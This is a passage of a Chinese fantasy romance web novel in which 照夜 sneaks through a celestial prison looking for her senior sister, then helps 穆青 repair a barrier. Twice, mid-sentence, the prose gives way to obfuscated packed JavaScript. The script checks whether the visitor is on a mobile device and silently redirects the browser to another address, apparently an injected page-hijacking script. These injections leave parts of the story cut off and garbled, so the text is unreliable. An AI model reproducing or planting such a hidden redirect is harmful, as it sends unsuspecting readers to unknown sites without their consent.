无数手臂如贪婪的猎犬般探询、触摸、审视。掌心的眼珠滴溜溜转动,冰冷的目光刮过我的皮肤,甚至在我胸前停留片刻,仿佛要揪出藏匿的尾巴。 我浑身剧烈颤抖,就在恐惧即将击碎理智的刹那,那些手臂终于缓缓退去。 地刑司重归昏暗,仿佛千手仙人再度陷入了沉眠。 盛放瘫在墙角剧烈喘息,面色惨白如纸,久久未能恢复。 “鸿珠三仙没一个像正常人,尤其是这千手,简直诡异得令人发指。“ 尾巴的的感慨正中我心。那日三仙合体的景象再度浮现脑海,我总觉得似曾相识,却始终想不起在何处见过。 待到盛放终于昏沉睡去,我终于等来了收拾碗筷的万事知。顾不上周旋,我一把拽住他衣袖。 这老头挣不脱,只得连声告饶,“照夜小友,你不要激动嘛!“ “少装糊涂!既然晋川让你接应我,你定然知道牧狸下落!她究竟在哪儿?“ “怪就怪在这里——砺魂崖、束仙台的名册上,都没有她的名字。“ 我脑中嗡鸣,声音发颤,“难道她……已经……“ “……容老夫再打探打探?“万事知鬼祟四顾,“或许在寂灭池?老夫还没去过……“ “啊?你为何去不成?” 讪笑一声,万事知说道,“毕竟关在寂灭池的人——也没必要吃饭了。” 从万事知嘴里我这才知道,寂灭池因接近山底,玄煞寒息浓稠如墨,能轻易冻裂仙体,连仙力都难以凝聚。 那里终年黑暗,唯有玄柱底端的微光与锁链铭文偶尔闪烁。除个别仙能超群的上仙能够前往,万事知这样的狱卒根本无需,也无法一探究竟。 不好与我多言,万事知推着木车蹒跚离去。 我心头凉了半截,若牧狸真被扣上叛乱罪名,囚禁于寂灭池并非不可能。但若当真如此,这些时日过去,她还能有命在吗? “如何?“尾巴轻声问道,“要冒险一探么?“ 我将光团捧到面前,“我不会被冻死……或者说,烧死吧?“ 尾巴在我掌心惬意地翘起“二郎腿“,“笨蛋,你是不是看不起我?放心,保管让你这对大香瓜完好无损。“ “啊!讨厌,下流的尾巴!” 43. 第 43 章法外狂徒盛放 “……喂,你在干什么?” 我猛地转头,只见盛放正一脸狐疑地盯着我。她拧着眉头问道,“你在和——一只光秃秃的老鼠说话?” “嗯…对,是我的小宠物。”我慌忙把尾巴塞进衣襟,“长得是有点怪,但确实是老鼠!” 盛放一把揪住我的前襟,苍白的脸上挤出个诡异的笑,“我刚才看见你和那狱卒鬼鬼祟祟说话,是不是找到了门路?带我一起逃!不然我这就告发你私藏宠物!” “可恶!我才不是老鼠!”尾巴气得在我胸口捶了两下,软绵绵的毫无力道。 “好吧,但你得保密。” 盛放瞬间变脸,嬉笑着拍拍我的脸颊,“放心,咱们现在是一条绳上的蚂蚱。对了,你叫什么来着?小胖妞!” 莫名其妙多了一个要越狱的队友。 我郁闷地躺倒在地,在这暗无天日的地牢里,时间流逝变得模糊不清。也不知我来多久了,就没人发现我失踪了? 可恶的是,小青不仅没察觉我离开,更不知我身陷囹圄——足以证明这些日子他根本不曾去找过我。 还说什么在我体内种了莲子能感知我的存在,看来根本不管用! 又连吃了三天豆子泥,事情终于出现转机。 趁着狱卒登记幸存囚犯时,盛放得意地宣布,我们成功熬过了初步考验。 我却无心庆贺——万事知暗中查过名册,确实没有牧狸的记录。如今只剩两种可能,要么她根本未被收监,要么…就被关在寂灭池。 无论如何,我都必须亲自去查探一番才行。 很快,我被分到厨房打杂,而盛放则要参与凿壁拓建牢房的苦役——据说这些年囚犯越来越多,牢房早已不敷使用。 作为厨房管事的万事知,以“胖胖的看着就很会做饭”为由将我安排在身边,虽心中不爽,但眼下这境遇也没法与他争辩了。 劳作两日后,我推着餐车分发食物时偶遇盛放。她神秘兮兮地透露,他们在上工时发现了一处塌陷的暗道,好像通往笔柱山外。 我稀里糊涂跟着盛放和另外两名囚犯钻进地道,在狭窄的通道中匍匐前行许久。当从另一端爬出时,我才明白了“好像”二字的含金量。 万万没想到,这坍塌的地道并非通往外面,而是——通向下一层的束仙台! “糟了!快往回走!” 见两个同伴惊慌失措地要逃,盛放扭头瞪我,“小胖妞,你不走?” “我要去下面找大师姐。” 那两人只当我在说疯话,头也不回地爬回地道。盛放却狐疑地堵住我去路,将我逼到幽暗的角落,“哼!你肯定有门路!不然怎么偏偏把你分到厨房?想甩开我偷偷溜?” “我是真要去寂灭池救大师姐。” “……你是不是疯了?!那是死地!关押的都是十恶不赦之徒!没人能活着出来!” “我得走了,得趁千手仙人下次巡视之前找到大师姐。” 见我淡定地不像话,盛放一口咬定我还有秘密武器,执意要跟上。无暇与她纠缠,我沿着陡峭岩壁向下攀爬。 束仙台的全貌渐渐展露——不再是简陋牢笼,而是一个个由粗大锁链悬吊的玄铁平台,从中央地脊与山壁延伸而出。 此处锁链活动愈发频繁,不时拖动平台相互碰撞、翻转,将囚犯抛向寂灭池边缘又拽回。 幽暗微光中,无数平台与锁链的巨影缓缓挪移,宛如沉睡巨兽的脏腑在蠕动。 寒意——或者说灼热——愈发刺骨。盛放几乎冻僵,若非紧贴着我取暖,怕是早就冻硬了。 “喂!是你吗!是你吗!” 黑暗中忽然传来嘶哑的呼喊。只见远处牢笼的光栅滋滋作响,焦糊味隐隐飘来。 盛放趴在崖边低语,“那人在看我们!” 我凑近望去,一个衣衫褴褛、形销骨立的男子正死死抓住烧得通红的光栅。冰火交煎让他的脸庞扭曲变形—— 竟然是未生,他还没死。 “喂!”男人像在奋力挣扎,鼓瞪的眼睛已经由于过分用力而流血,“竟然是你,是你!喂!” 尾巴趴在我耳旁小声道,“啧,得叫他闭嘴,会吵醒千手仙人!走,照夜!” 不敢再耽搁,我转身跃上粗重的铁链向下疾奔。盛放目瞪口呆地瘫在原地,寒冷几乎冰冻了她的嗓子。 尾巴紧紧抓住我的头发,冰冷又炽热的风里,他的声音格外清晰,“闭上眼睛,照夜,然后——听我指挥。” 我只听到黑暗中有无数窸窸窣窣的声音在响,脚下那团看不清埋葬了何物的虚白池子像巨兽的上膛,等待着猎物乖乖落入。 我闭上了眼睛,耳边只剩下了风声。 第一次,我于这天地间感受到了沉重有形的风。 那便是仙力,仙力在流动。 我在尾巴的指挥下不停奔跑跳跃,我不知前方是否有物,不知脚下是否有路,臃肿的身躯此刻却轻盈得如融入这黑暗中的一缕微风。 “左转三步,跳!” 尾巴的指令如丝线牵引。 我此刻竟轻若飞羽,在纵横交错的锁链间腾挪闪转。铁链在脚下发出沉闷的嗡鸣,每一次落脚都精准踩在晃动的链节之上。玄铁表面凝结的冰霜在触及我鞋底的瞬间汽化,又在身后重新凝固成细碎的晶尘。 “右侧悬空,翻过去!” 我依言凌空翻转,衣袂在极致寒热交织的气流中猎猎作响。 锁链组成的蛛网在黑暗中无限延伸,而我如履平地。偶尔有游离的铭文流光擦过身侧,被尾巴悄然吸纳。 几个起落间,我已跃至临近寂灭池的平台上。睁眼便见未生震愕的神情。 “牧狸呢?” “我就知道你会来救她,她曾说你是她唯一信得过的人。” 男人跪在地上,浑身颤抖着,寂灭池的烧灼之息无时无刻折磨着他,几乎要将他从皮肉到骨头全部嚼碎。 尾巴从我袖口溜出来,附着在光栅上,竟瞬间将那铭文尽数吸收,继而,他如一条毒蛇,猛地蹿到了未生胸膛里。 未生痛苦地蜷缩起来。待尾巴回到我掌心时,他已喘息着瘫软在地。 “给他点仙力,不然会变成拖累。”尾巴再次跳到我头顶,“方才的动静惊动了千手仙人,咱们继续向下!走,照夜!” “哦,好!” 我正欲再次爬上铁链,尾巴却从身后猛地踹了我一脚。 失重感骤然袭来——我正朝着寂灭池极速坠落! 浓稠粘腻的风,仿佛蕴含着无穷仙力,每一缕都像是冰针扎进骨髓。我瞪大眼睛,屏住呼吸,准备迎接撞击…… 然而预想中的坚硬池底并未出现。 我如同穿过了一层云雾,很快,周身骤然被温暖的金色仙力包裹,连发丝都未曾遗漏。转瞬间,我已穿过寂灭池,落入了这片传说中的无人之境。 眼前景象令人愕然——这里亮如白昼,纯白的地面凝结着一层寒光,如烟似雾般流动。 “啧,”尾巴从我肩头探出,“原来当年煌木不仅搬来了渟冥铁,连极阴冰火也一并偷来,藏在这地底深处。”他仰头望向头顶那片伪装成池水的火焰,嗤笑道,“那不过是遮掩此地的幌子。” 我俯身细看脚下的冰层,不由困惑——非冰非火,反而更像岩石。 “观察力不错嘛,聪明的照夜。”尾巴赞许地蹭了蹭我的脸颊,叫我继续往前走,去那直插更深处的地脊一探究竟,“你没看错,这就是熠石,只不过,里面囚禁装填着极阴冰火。” “地刑司底下竟藏着如此巨大的熠石……”我只觉毛骨悚然,不自觉地搓着手臂,“当年以魔界滥用熠石为由开战,谁知仙界自己就私藏着这般巨物。” “笨蛋,战争岂会因这种理由爆发。”尾巴紧握我的拇指,姿势活像在撅着屁股发力,“我倒觉得你的猜测有几分道理——当年煌木出征魔界,或许并非为了杀戮,而是要与魔皇阿戈里亚斯联手……救人。” 我的心脏在胸腔里狂跳,几乎要撞断肋骨,“那敌人究竟是——谁?” “钩星不是早就说过了?”尾巴轻笑,“瘴母神,那种怪物。” “可瘴母神真有那般毁天灭地之能?整整十年大战,连映山都都焚毁了——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549509|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你从未见过那怪物的真容,”尾巴沉声道,“更不知它或许……拥有不死之身。” “……不,我见过那怪物。不是瘴母神,而是比它更恐怖的怪物……叫膣藟。” “……从哪里的志怪杂谈上看到的名字。” 谈话间我们已走近地脊。 近距离仰望,才真切体会到这根巨柱的宏伟——它不愧“地脊”之名,宛如支撑天地的脊梁。近看时,其宏伟更令人心神俱颤——柱身需百人合抱,玄黑的渟冥铁表面并非光滑,而是布满了深浅不一的古老铭文,那些纹路并非雕刻而成,倒像是金属自然凝结时形成的血脉经络。 当指尖轻触柱身,首先袭来的是刺骨的冰寒,仿佛在触摸万载玄冰。 可若停留片刻,一股灼人的滚烫便会从深处涌出。 冰与火两种极致在触碰点激烈交锋,最终只剩下了最赤裸纯粹的感受:疼痛。 柱体上镌刻的铭文并非静止。它们如同活物般缓缓流动,时而泛起幽蓝的微光,时而溢出熔金似的炽热。 当光芒流转至某处铭文节点时,整根地脊会发出低沉的,几乎难以听到的嗡鸣,那声音不似金石,反倒像远古巨兽在深渊中的呼吸。 “里面蕴藏着海量仙力,实在可怕。”尾巴贴着柱身聆听片刻,“原来如此。照夜,你回想一下,这地脊顶端通向何处?” 我仰头追寻那些明灭的铭文,视线投向遥不可及的远方。若感知无误,对应灵璧城的位置应该是—— 源涡池! 这根渟冥铁柱竟储存着如此浩瀚的仙力,满溢的能量在地表汇聚成了那片黏稠仙力凝聚的源涡池! “煌木竟然有这等本事,竟然用渟冥铁储存了这么多仙力。他到底想干嘛呢?为了支撑悬浮于空的灵璧城?” “笨蛋,单是支撑灵璧城和结界,何需这般惊人的能量。”尾巴的光晕微微颤动,“这是独属于煌木的仙力,其他仙人想要炼化吸收难如登天。且浓度太高,极度危险,像一支破坏力极大的火药!” “……话说这里也没有牧狸的身影,她应该没有入狱吧。” “也许,在坠入寂灭池的瞬间就已灰飞烟灭了呢。照夜。” 我心口猛地一颤,全身血液仿佛瞬间冻结。一只温热的手掌已悄然按在我肩上。 我僵硬地转过头。那个总是神出鬼没的男人又一次无声无息地出现在眼前。 渊寂——他究竟如何做到的?连尾巴都未能察觉他的气息。 “我、我来找青莲门的大师姐……” “青莲门……”男人的声音轻得像在叹息,“已经不存在了,照夜。” 不知为何,我双膝一软,扑通跪倒在地,一把抱住渊寂的腿,拼命挤出两滴眼泪,“我只是想救她……她被飞逍打得遍体鳞伤,实在受不了才逃跑。谁知道、谁知道……” 糟了,这个说法根本站不住脚。若只是逃跑,牧狸怎会被关进地刑司?我又何须冒险潜入此地? 想想,再想想!快想呀,死脑子! 是了——当时飞逍与随后赶来的溟牙都清楚未生是雷枢同党。但若牧狸既未身亡又不在此处,那就只剩一种可能,这两人隐瞒了牧狸之事。 没错,牧狸本是飞逍的人,自己人与逆党“勾结”,在这个敏感时期,飞逍很难自证清白,定是与溟牙串通将此事压下了。 “如何,可想好说辞了?” 我抬起头,正对上渊寂俯视的目光。他唇角噙着一丝玩味的笑意。 “眼下灵璧城封禁,牧狸私自出逃触犯了第七十条仙规。而我恰好因偷渡被抓至此地,便想着……顺道见她一面……” “哦?继续。” “今日我给劳役送饭时,不慎从山崖失足跌落,撞在了一处监牢上——” “……” 我低头捏了捏肚子上的软肉,硬着头皮往下编,“因最近吃胖了,竟将牢顶砸出个窟窿。我心中一慌,脚底打滑,就……跌到了这里。” 渊寂竟轻笑出声。他俯身捏住我的下巴,语气平淡无波。 “照夜,你还真是——可爱得令人发笑。” 44. 第 44 章照夜护短:魔皇陛下 就这样,我与尾巴尚未探明那巨大熠石下隐藏的秘密,便被带离了地刑司。 迈出沉重的大门时,只见云啼、溟牙与方有之早已候在门外。溟牙阴鸷的目光如毒蛇般缠绕着我,无声地警告着。 “照夜,果然是你。”方有之冷哼一声,转向云啼,“卫戍司便是这般行事的?纵是看在青莲面上,也不该如此苛待她!” “青莲连日来毫无建树,有何颜面要求特权袒护一个偷渡客?”云啼抱臂嗤笑,“原以为有多大能耐,不过是个连结界都束手无策的庸才!” “住口,云啼!”溟牙厉声喝止,“师尊日理万机,岂容你在此嚼舌。不如好生配合方大侠清剿逆党,也算尽些本分。” “轮不到你指手画脚!倒是你与人君那边的交易——” 溟牙猛地捂住云啼的嘴,躬身道,“师尊,弟子等必当尽心竭力……不敢再劳您费心。” 我心中咯噔一声,果不其然,人君与仙界有不可告人的交易。莫非仍与玉山之事相关? 我偷眼望向渊寂,他却恍若未闻,召来祥云,只淡淡瞥我一眼,示意我跟上。 多日未见天光,我双目刺痛难忍。 坐在云端缓神时,我有些烦因随风舞动的袍角打到我,干脆攥住渊寂的长袍下摆,玄黑缎面上用墨绫丝绣着暗羽纹路,在日光下流转着幽微的华彩,并不显眼。 “既已离去,为何折返?” “是被抓回来的。”我偷觑渊寂的侧脸,又慌忙垂首,“但我后悔了……我迟早会回来找小青的。” 沉沉叹了口气,渊寂说道,“罢了,实难勉强。” 我探头看去,只见那棵高耸入云的澜歌树再次出现在视野中,而那倚坐树下颓色满面的男人像是从微风中闻到了怀念的气息,猛然抬头看来。 数日不见,思念顷刻间化作眼泪决堤。 我奋不顾身从祥云上跃下,很快,青色花瓣如急雨倾泻,密密匝匝向我涌来。 稳稳将我接到怀里,男人的眼角也湿润了。 “照夜!” 我死死搂住穆青的脖子,酸涩的眼泪湿了他的领口,浸入他的肌肤和血肉,腐蚀着他漂亮的骨骼,烙下不可磨灭的印记。 “骗子,你根本感应不到我在哪里。” “嗯,我承认,我越来越难以感受到你的气息。所以——别离开我——照夜——我怕我再也找不到你——” 我闻言破涕为笑,问道,“我这么胖,你依旧抱得动我。” 这时渊寂落了地,只见凤琤公主悄然走到他身边,别过头去,不想也不愿看到眼前一幕。 可穆青却旁若无人用掌心托住我的腰际,上下举放数下,泪眼深处荡漾着温柔又快乐的光,“当然,软绵绵的照夜,像拥着云絮。” “青莲。” 闻得渊寂唤他,穆青轻轻放下我,垂首行礼,“是,仙帝。” “既与凤琤共修未果,便另寻他法。修复结界不容再延。” “青莲领命。恳请仙帝允照夜留下……她不在时,我心绪难宁。” “……准。” 待渊寂与凤琤公主离去,澜歌树的光芒也随之熄灭,化为一棵外表普通的树。 穆青拉着我匆匆离开,却终究无法走远——因周围有卫戍司的仙军守卫以及渊寂的探子监视,不能擅离。 穆青听罢我这些时日的遭遇,眉头深锁,“我从未与公主共鸣过。这些日子……我心神不宁,终日静坐却难以入定。想离开,却处处受制……” 我有些困惑,若那天与凤琤公主共鸣的不是穆青,又是谁? “难不成是——幻鹊?他化作你的模样欺骗了我!” 穆青攥紧拳头,指节发白,“竟敢化作我的模样欺瞒你……迟早要叫他付出代价。倒是你——”他忽然捏住我的鼻尖,“连我都认不出,照夜!” 我自知理亏,讪笑着扑进穆青怀中,“我当时快气飞了,哪想得到渊寂会使这等卑劣手段。不过……他能为女儿做到这般地步,倒让我觉得他尚有几分人情味。” “傻瓜,事情才不像表面这般简单。”穆青沉重叹息,仰望着结界上的裂痕,“罢了,尽快修复结界,我们便离开此地。” 和穆青和好后,我仿佛重获新生。 夜幕低垂时,我在附近溪流中沐浴,顺手将尾巴捞出来仔细搓洗。他见我满面春光,故意揶揄——我的香瓜又有了用武之地。 “糟了!盛放和未生他们——” “放心,早逃出去了。”尾巴在水面轻跃,“那小子机灵得很,自知机会稍瞬即逝,早就溜了,当然,顺手把那脑子不太好使的丑女人一并带走了。” 我松了口气,朝尾巴泼水笑道,“你这光溜溜的小东西,倒是越来越像真老鼠了!” “胡说!我可不是老鼠!”尾巴奋力拍打水面,溅起朵朵水花,“而且我才不秃!” “好啦好啦,我们快点帮小青修好结界,救出牧狸就离开这儿!” “照夜,何不试试你体内的仙力?” “我?我的仙力能与煌木的力量相容?” 尾巴轻轻牵住我的指尖,“你现在的仙力比青莲的更纯粹,换言之——侵略性极强。即便是煌木遗留的力量,恐怕也要向你臣服。” 我惊愕失色,四下环顾,凑近尾巴悄声道,“我明白你的意思,就像我曾无意识榨干钩星一样,我体内的仙力可以吞噬他的力量,除非我愿意与他共鸣,对吧。” “哦哟哟,这事儿你竟然还记得。”尾巴不怀好意晃晃‘脑袋’,“没错,就是这个道理。” “那我又怎能修补结界?岂不会反而吸纳了结界的力量?” 尾巴揪住我的耳朵,压低嗓音,虽然别人根本听不到他的声音,“一换一,吸收后再补齐,你吃一点点亏。” “我倒无所谓,只要你不要紧就好。” “啧啧啧,天下最好的照夜!”尾巴兴奋地扑在我脸上,温热湿滑的身躯几乎堵住了我的口鼻,“看来当初选你是对的!放心,你最近胖了这么多,我也不敢再吸纳仙力——且香瓜不能变西瓜,太大反而不好看。” “讨厌,下流!” 我向穆青提出了与尾巴商议的修补方案。他垂首沉思良久,最终决定通过与我共鸣,借由他转化的那部分仙力来修补结界。这样既能完成任务,又不会让我过于引人注目。 商议既定,穆青请来了金蚕仙人——届时仙力将借她的蚕丝细细织补结界缺口。 在此之前,我与穆青需在不亲热的状态下达成稳定共鸣,而金蚕仙人则要准备大量蚕丝。 金蚕仙人蚕豆豆,她的坐骑是一只巨大的金蚕。 这金蚕伏卧时犹如一座小小的金山,肥硕的身躯泛着温润的流光。 近看才能发现那并非单纯的金色,甲壳上其实布满了细密繁复的暗纹,仿佛古老织锦上用金丝绣出的云雷纹。当它在阳光下缓缓蠕动时,甲壳间隙会透出琥珀色的柔光,如同盛满蜜糖的琉璃器皿。 最引人注目的仍是那副硕大口器——状若精钢锻打的莲花,开合间能窥见内里层层叠叠的锯齿结构,若被咬上一口,也得掉一块肉。 趁我们说话时,这肥硕的金蚕便在一旁悠闲地咀嚼着树叶,发出细雨润物般的沙沙声响。它倒不挑食,毕竟它的主要食物来源,其实是仙力。 每当蚕豆豆将仙力凝成的光团喂入,这大肥蚕的口器会泛起涟漪般的金晕,随后便有晶莹丝线自腹侧气孔徐徐吐出。 虽然战时这蚕丝能起到束缚强敌的作用,但其平日最大的用处却是裁衣制裙。用此蚕丝织就的衣衫轻薄透气、永不起皱,更难得韧如盔甲,实乃防身上品。 而蚕豆豆本人成仙极早,所以她现如今仍保持着七八岁女童的模样。 “你们的计划我听明白了。“蚕豆豆斜睨穆青一眼,又迅速扫视我全身,“既是仙帝之命,我自当遵从。不过青莲——我依然讨厌你。“ “你为何讨厌小青?“ 虽顶着孩童样貌,这位五百多岁的老仙冷哼一声,“上次猎狩岁兽妖,他莽撞展开青莲法器,把金丹嚼得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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反倒是等待金蚕吐丝需要时日。原本澜歌树的树叶蕴含仙力,是上佳的食料,可随着凤琤公主离去,神木光华尽失,作为食物的价值也一落千丈。 这段时间,渊寂派了溟牙在外围监视我们。他的黑蛇总潜伏在草丛中窥探,简直比百目仙人的法眼更惹人厌烦。 这天我正在溪中沐浴,忽见一条黑蛇潜游而至,油亮的脑袋半露水面,阴冷的竖瞳直勾勾盯着我。不等它吐信子示威,我猛地一巴掌扇去,打得那蛇晕头转向,仓皇欲逃。 有尾巴在,这毒蛇奈何我不得。我眼疾手快揪住滑溜溜的蛇身,三两下打了个死结,怒气冲冲地去找溟牙理论。 彼时穆青见蚕豆豆吐丝进度迟缓,正亲自指导她提升效率。尾巴则早已贴在穆青胸前,恨不得终日与他形影不离。 溟牙见我拎着打结的黑蛇,心疼地抢回怀中,小心翼翼将其解开,“它又未曾伤你,好狠心!” “你该庆幸焉耆不在,不然早就把你的所有蛇吞下肚了!” “……那妖兽到底是什么东西,头一回见。” “魔皇送给我的,你不如去问他!” 溟牙冷笑一声,将蛇收入宽袖,“我不会再回魔界了。” “……你既是魔族,为何依附仙人?如今魔皇归来,映山都重现繁荣,你不想回去么?” 溟牙唇角泛起自嘲的弧度,“若你见过魔族难民在人界的惨状,便不会问出这等蠢话。” 我又想起名叫真真的魔族,纵使人君下令善待魔族,他们的处境依旧艰难,用低人一等来形容恐怕已是不错的待遇了。 “况且那懦弱胆小的魔皇,”溟牙讥诮道,“连长渊都无力劈开,遑论带领魔族,与仙界抗衡。” 我不满溟牙讥讽钩星,跳上前去拽住他的衣领,厉声道,“他才不是胆小鬼,他有二十七个坐骑,他知道焉耆的来历,可比你这种渊寂座下插手人间事宜的鹰犬强一万倍!” 溟牙反手扣住我手腕,褐色竖瞳骤缩,“那又如何?师尊于我有救命之恩,我甘愿效死。那夜你虽无耻窃听,但我再说一次——是人界背约在先,有何资格指责我们插手?” 我环顾四周,见溟牙敢直言此事,料定百目法眼未在监视。我凑近他,低声道,“仙界为何,为何要摆布玉山战事,说到底这是人界的家事。” “倒是小瞧你了,照夜。”溟牙露出高深莫测的笑,附耳轻声道,“人界气数已定,一如当年魔界。何必徒劳挣扎?什么都改变不了。” 未容我再问,溟牙猛地推开我,身影没入密林深处。 45. 第 45 章 尾巴喜欢照夜 我心中忐忑难安,不知为何,那名为膣藟的怪物再次浮现于眼前。 所谓人界命运,究竟为何? 狂风带雨而来,头顶若隐若现的结界似乎摇摇欲坠,我心中被一股前所未有的恐惧感填满。 仿佛那极夜之处,有什么可怕的真相在等待我。 修复结界那日,天未破晓我便被异动惊醒。 抬眼望去,无数金蚕丝正向着苍穹的裂痕蜿蜒攀升,细密如蛛网的金线在晨光中泛着琉璃般的光泽。 当第一缕朝阳穿透云层,蚕丝突然迸发出流金般的光瀑,万千金线仿佛被赋予了生命,在空中交织成一张绵延百里的光网。 穆青与我端坐青莲花心,澎湃的仙力如春江潮涌般自我体内流转。当金色仙力渡入他掌心时,竟化作浅青色的光絮,顺着蚕丝攀援直上。 那些光絮触及结界裂痕的刹那,如同细雨润入龟裂大地,所过之处破损的结界开始以肉眼可见的速度弥合。 蚕丝穿梭的沙沙声与仙力流动的嗡鸣交织成奇妙的韵律,整片天空仿佛化作一架正在调音的巨琴。 近暮时分,结界最后一道裂痕终于愈合。突然,修复处迸发出一圈金色涟漪,以灵璧城为中心向四方荡开。 那光芒温柔却不容抗拒,拂过之处云开雾散,连远山的轮廓都显得格外清晰。好似在向整个仙界昭告:受结界佑,四方即安。 蚕豆豆此次消耗大量仙力,结界修复结束后便晕厥过去,恐怕得睡上一段时间。 而穆青和我则全然不受影响。我甚至没有消减一丁点,气得我抓住尾巴直晃:到底塞了多少仙力在我体内! “给你,尾巴的新家。” 穆青看着我单方面收拾尾巴,笑得合不拢嘴,他重新制作了青莲花瓶,递来的瞬间,便见尾巴呲溜一声钻了进去,“干嘛对尾巴这么凶,温柔一些。” 我与穆青乘着青莲花瓣掠过灵璧城上空,只见振岳仙人化出的巨臂仍在搬运建材,天工司的匠人们像蚂蚁般在殿宇间穿梭。 暮色初临,残阳给仙宫镀上瑰丽的紫金色,修复中的飞檐翘角在霞光中如同展翅的凤鸟。 “说起来,“我倚在穆青肩头,“你现在能听见尾巴说话了吗?“ “尚不能。“穆青轻抚我的发丝,“但能感知到他的意识——他很喜欢你。“ “你们都听不到他说话,我都要怀疑是不是我脑子出了问题。哦,对了小青!” 我恍然记起梦到青衣人的事,连忙告诉了穆青,见他笑容逐渐消退,我的心一下提了起来,“所以……那不是我的梦对吧,那个青衣人——是谁?” 穆青望向薄暮中的巍峨宏伟的仙宫,声音压得极低,“你曾见过他,却忘记了他的模样。照夜,那青衣人不是别人,正是无聊混入考场,参加试仙考试的,与你我有过一面之缘的少年——先帝,煌木。” 嵊风殿,仙帝居所。由此沿璇玑阶向上来到坐忘矶时,那盏素纱灯隐隐亮着光。 渊寂玄衣如墨立在崖边,灯影在他轮廓分明的侧脸上摇曳不定。 “参见仙帝。“ “免礼,此处无外人,不必拘礼。“渊寂迎着风,似笑非笑盯向我和穆青,“结界修复之功,青莲想要何赏赐?可尽管提。” 穆青不卑不亢,迎着男人审视的目光,语气坚毅,“请仙帝对玉山战事高抬贵手,我相信凡人有凡人的骨气,哪怕敌人可怖万分,哪怕没有仙界襄助,也有迎战的勇气和决心,绝不退缩。” “……青莲,年轻是你的优点,也是致命缺点。”渊寂此刻露出高深莫测的微笑,踱近按住穆青的肩膀,说道,“也罢,便由尔等亲眼见证天命为何,如此才能回应这份自以为是的鲁莽和倔强。” 穆青郑重执礼,“那便请仙帝在这世界至高之巅,见证凡人的底色。” 不知为何,与穆青离开坐忘矶时,我流了泪。穆青并不知道我为何会在这时哭泣,可奇怪的是——尾巴知道。 我自责,当穆青心系苍生时,我却困于儿女情长,这种渺小令我无地自容。 可尾巴也在安慰我,这恰恰是我生而为人的真实感所在。我的心里可以有人界,有玉山,也可以只有小青。 离开灵璧城之前,我们一同去向振岳,方有之还有翎波辞行,他们三人还有任务在身,未获仙帝准允,暂时还不能离开,我们便约好了在玉山见面。 振岳还不忘叫我们劝舒岸早点成亲生娃,与哥哥握手言和共御外敌。 接上焉耆,我与穆青在深夜离开了灯火通明的灵璧城。就在我以为要直奔玉山时,焉耆却听命来到了浮沤岛。 许久不见的赤羽一早便在渡口等着。 恰逢浮沤花开,湖面再次被红色的花朵铺满,饿了挺久的焉耆终于有机会大快朵颐,也不见外,扑在湖里开始干饭。 赤羽难以置信地打量着我圆润的身形,反复确认才敢相认。远处的小圆笑着挥手——我心下稍安,看来他在岛上过得颇好。 只摆了几样小菜两壶酒。赤羽看上去有些憔悴,我们来之前他正在喝闷酒。 这次仙帝登位大典并未看到赤羽的身影,所以穆青才专程来这儿一趟,瞧瞧这位老朋友。 问询之下才得知,赤羽之所以缺席大典,是因为素雪难产,所以当日他没法离开。 怪不得没看到素雪出现,不过我现在这副样子,她也许不会再对过去耿耿于怀了。 “难产?如何,可处理好了,孩子呢?” 赤羽疲惫恍惚地摇摇头,“云啼前些日子已经将她接走了,藏在了玉贝仙人的法器中,也许过几天就安稳了。” “赤羽,别怪我多事,素雪执意怀有身孕本就蹊跷,你还是多个心眼……这仙界给我的感觉越来越诡异。” 赤羽苦笑着瞥我一眼,“青莲,你永远不懂女子的妒意能炽烈到何种地步。为将我永远束缚在身边,她宁愿折损修为铤而走险......“ 我拉拉穆青的袖子,小声嘀咕,“素雪仙人也许只是爱极了,仅此而已。” “……我不想恶意揣测你夫妻二人的关系,但——以我对渊寂的了解,他杀害煌木,所图之事必定险恶,他眼中没有妻女,没有师兄妹,更没有徒弟,只有工具,切不可掉以轻心。” 赤羽闻言并没太多惊诧,显然之前穆青和振岳便已来游说过他。有关煌木之死的谜团,他自然晓得。 “我会留意,你们此去——一定小心。他插手玉山之事必有所图,不会轻易让你们得逞。” “如今我道行远不及他,唯有伺机而动。“穆青举杯轻叹,“纵前方是刀山火海,也非去不可。赤羽,在上仙中我独信你一人——务必珍重。“ 我此刻喉咙干涩,又想起了尾巴曾提过一嘴有关煌木死亡的真相,犹豫间,话语已溜出了嘴边。 穆青闻言,有些无奈地揉了揉我的脑袋,笑道,“看来是共鸣时,你无意间窥见了我的梦。照夜,煌木在梦中告诉我,他确实死于渊寂之手。但也如你所言,在那之前,他已将自己分成了五份——其中一份,确实已经死了。” 我的大脑被这番话震得嗡嗡作响。原以为是尾巴胡诌,却不曾想,是他窥视了穆青的梦,见到了那个青衣人。 “总觉得三界……将有大事发生。”赤羽望着没有星光的纯黑夜空,满目忧思,“可这三界,似乎从未真正安宁过。征战与杀伐,充斥着时间的每一个角落。” 穆青也显得有些消沉。这个夜晚,平静之下仿佛涌动着肉眼看不见的暗潮。 焉耆补充能量后,墨汁变得浓稠黏腻,沾在手上竟有些难以甩脱。我正趴在湖边洗手时,穆青吩咐小圆将醉酒的赤羽扶回屋,随后坐到我身边,若有所思地望着猩红的湖面。 “明日一早,我们去救牧狸。” “嗯。”我回头看向穆青如刀刻般紧蹙的眉头,“小青,当初为何要做静心养胃丸呢?明明有更多更好的选择。” “……我很难静下心来。”穆青自嘲地笑了笑,仰面躺在微凉的土地上,将我揽入怀中,“杂思如麻,萦绕心头,又如何提升修为?说出来怕你笑话……我整日都只想着你。哪怕你就在身边看书,我也会好奇你读了什么故事,为何嘴角带笑。这种感觉很奇妙——即便你触手可及,我依旧……心生惶恐。” “我是你 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“走,照夜。”穆青将奄奄一息的牧狸裹在荷叶中交给焉耆后,冷冷瞥向飞逍,声音低沉如冰,“下次再见,必取你项上人头。好自为之。” 